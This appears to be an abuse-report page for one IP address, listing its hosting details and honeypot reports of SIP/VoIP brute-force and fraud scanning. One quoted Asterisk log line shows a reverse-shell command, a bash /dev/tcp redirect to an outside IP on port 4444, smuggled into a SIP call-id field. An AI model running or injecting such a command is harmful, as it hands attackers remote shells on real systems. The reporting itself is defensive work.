88.216.211.37
Recent Activity
This IP has received recent abuse reports, which causes the score to increase.
- ISP
- UAB Nacionalinis Telekomunikaciju Tinklas
- Usage Type
- Data Center/Web Hosting/Transit
- ASN
- AS213896
- Hostname(s)
- ip-88-216-211-37.008.ptr.cherryservers.net
- Domain Name
- ntt.lt
- Country
- 🇩🇪 Germany
- City
- Frankfurt am Main, Hesse
Abuse Reports
Total reports
21 from
15 distinct
reporters
First reported
Most recent report
Recent reports
We have received reports of abusive activity from this IP address within the last week. It is
potentially still actively engaged in abusive activities.
| Reporter | IoA Timestamp (UTC) | Comment | Categories |
|---|---|---|---|
| 🇩🇪 NxtGenIT |
Sentrypeer Honeypot hit, SIP Method: INVITE, User Agent: Cisco-CP8841/12.8.1
|
FTP Brute-Force | |
| 🇩🇪 NxtGenIT |
Sentrypeer Honeypot hit, SIP Method: INVITE, User Agent: Fanvil X5S 2.13.1
|
FTP Brute-Force | |
| 🇩🇪 NxtGenIT |
Sentrypeer Honeypot hit, SIP Method: INVITE, User Agent: Yealink SIP-T48S 66.86.0.5
|
FTP Brute-Force | |
| 🇩🇪 NxtGenIT |
Sentrypeer Honeypot hit, SIP Method: INVITE, User Agent: Grandstream GXP2160 1.0.9.30
|
FTP Brute-Force | |
| 🇫🇷 AmStaff |
Honeypot: SIP/VoIP scanning. Targeted ports: SIP.
|
Fraud VoIP Port Scan | |
| 🇳🇱 nielsvf99 |
Sentinel honeypot: took over a fake server (SMB, MSSQL, Redis, MongoDB, ADB, Docker, Kubernetes, ...); banned permanently.
|
Hacking | |
| 🇧🇷 Host One |
T-Pot Honeypot alert: 11 malicious events (sip_bruteforce) detected.
|
Brute-Force Web App Attack | |
| 🇨🇭 Inaxas AG |
|
Fraud VoIP | |
| 🇩🇪 scolastico |
[automated] IP failed to authenticate or send unauthenticated INVITE requests
|
Brute-Force Fraud VoIP | |
| 🇺🇸 mc4bbs |
|
Fraud VoIP Brute-Force | |
| 🇩🇪 NxtGenIT |
Sentrypeer Honeypot hit, SIP Method: INVITE, User Agent: Yealink
|
FTP Brute-Force | |
| 🇧🇪 Tyrasuki |
[automated] IP repeatedly failed SIP authentication on Asterisk PBX (port 5060)
|
Fraud VoIP Brute-Force | |
| 🇳🇱 ipoac.nl |
[2026-11-11 13:07:08] NOTICE- res_pjsip/pjsip_distributor.c: Request 'INVITE' from '"100" <sip:100*88.216.211.37>' failed for '88.216.211.37:49974' (callid: bash -i >& /dev/tcp/192.210.144.130/4444 0>&1) - No matching endpoint found
|
Fraud VoIP Brute-Force | |
| 🇪🇸 raiolanetworks.com |
Honeypot detection: SIP/VoIP fraud. 11 events observed. Reported automatically from a honeypot sensor.
|
Fraud VoIP Brute-Force | |
| 🇨🇦 Aleigo Abuse |
SIP fraud attempt detected.
|
Web App Attack Brute-Force Fraud VoIP Hacking |
Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown